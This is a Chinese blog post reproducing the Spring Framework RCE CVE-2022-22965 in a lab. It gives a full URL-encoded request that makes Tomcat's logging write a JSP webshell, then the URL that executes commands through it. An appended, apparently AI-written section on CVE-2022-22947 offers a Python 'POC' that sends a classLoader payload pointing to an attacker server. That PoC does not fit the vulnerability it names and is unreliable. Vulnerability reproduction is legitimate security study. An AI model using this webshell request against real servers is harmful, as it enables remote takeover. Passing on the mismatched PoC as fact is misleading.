【漏洞复现】CVE-2022-22965 Spring Framework远程代码执行漏洞

文章描述了一种利用Docker容器中的Tomcat服务,通过发送特定的HTTPGET请求,修改Tomcat日志路径和后缀,进而植入JSPWebshell的方法。使用BurpSuite进行抓包和数据包修改是关键步骤,一旦Webshell创建成功,可以执行任意命令,如示例中的`ls`命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

开启环境

sudo docker-compose up -d 

查看端口号

sudo docker ps 

服务启动后,访问http://your-ip:8080/?name=Steve&age=25即可看到一个演示页面。

 打开BurpSuite进行抓包,并发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

 然后,访问刚写入的JSP Webshell,执行任意命令:

http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=ls

### 关于 CVE-2022-22947 漏洞复现 CVE-2022-22947 是一个存在于 Spring Cloud Gateway 中的远程代码执行漏洞,攻击者可以通过构造恶意请求触发该漏洞并实现远程命令执行。以下是针对此漏洞复现过程及相关技术细节。 #### 1. 漏洞概述 Spring Cloud Gateway 的路由功能存在缺陷,在处理某些特定参数时未能正确验证输入数据的安全性,从而允许攻击者通过精心设计的 HTTP 请求注入恶意代码[^4]。 #### 2. 环境准备 为了成功复现 CVE-2022-22947 漏洞,需搭建如下测试环境: - **操作系统**: Linux 或 Windows (推荐 Ubuntu) - **Java 版本**: JDK 8 及以上版本 - **依赖组件**: - Spring Boot >= 2.6.x, < 2.6.7 - Spring Cloud Gateway >= 3.1.x, < 3.1.2 安装完成后启动服务端程序,并确认其正常运行状态。 #### 3. 利用工具与脚本 可采用以下方式完成漏洞利用操作: ##### 方法一:手动构建 POC 下面展示了一个简单的 Python 脚本来模拟攻击行为: ```python import requests url = "http://target-ip:port/gateway" payload = { 'class.module.classLoader.resources.context': '', 'class.module.classLoader.URLs': '[new java.net.URL("http://attacker-server/payload")]', } response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully!") else: print(f"[-] Failed to send payload! Status code {response.status_code}") ``` 上述代码片段尝试向目标服务器发送包含恶意 URL 地址的数据包以加载外部资源文件。 ##### 方法二:自动化扫描器 部分开源安全检测平台已经集成了对该类问题的支持模块,例如 Metasploit Framework 和 Nmap Script Engine 。用户只需按照官方文档指引配置相应选项即可快速定位受影响资产实例。 #### 4. 结果验证 当成功触发漏洞后,通常会在日志记录或者实际业务逻辑层面观察到异常现象;与此同时也可以借助网络抓包手段进一步核实交互详情。 #### 5. 安全加固建议 为了避免遭受此类威胁影响,请及时采取措施升级至最新稳定版软件发行号,并遵循最佳实践指导原则加强整体防护能力水平: - 更新至不受影响的新版本; - 使用 Web 应用防火墙(WAF)作为额外屏障层过滤潜在危险流量模式; - 对所有传入参数实施严格的白名单校验机制防止非法字符混入其中。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值